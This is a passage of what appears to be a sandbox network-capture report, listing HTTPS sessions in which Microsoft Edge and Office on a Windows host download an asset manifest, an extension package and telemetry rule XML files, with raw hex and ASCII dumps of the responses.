2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-12-02 00:34:41 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49845	13.107.246.40	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:42 UTC	557	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:41 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f9d67094-001e-0001-2851-4469fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241202T003440Z-174f7845968swgbqhC1EWRmnb400000013sg00000000hdqc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-02 00:34:42 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-12-02 00:34:42 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-12-02 00:34:42 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-12-02 00:34:42 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-12-02 00:34:42 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-12-02 00:34:43 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49850	152.195.19.97	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:41 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733704475&P2=404&P3=2&P4=Pk5toYcNP5db6oBc5d%2bF9jAsfl7rHSO0IVQnYmm7c6oL3mbf1kl5ZJ0J5teMHbovx5td9JbKE9nZe%2fHlC8rR1w%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: uiWtfcLVsaHO2lCBIn1FuG Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:41 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 13026212 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Mon, 02 Dec 2024 00:34:41 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-12-02 00:34:41 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:42 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: b1291b2a-001e-0028-31ae-43c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003442Z-174f7845968ljs8phC1EWRe6en00000013mg000000003ntb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c77db93f-b01e-003e-210f-418e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003442Z-174f7845968pght8hC1EWRyvxg00000006x00000000036rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003442Z-174f7845968cdxdrhC1EWRg0en00000013hg00000000mx99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
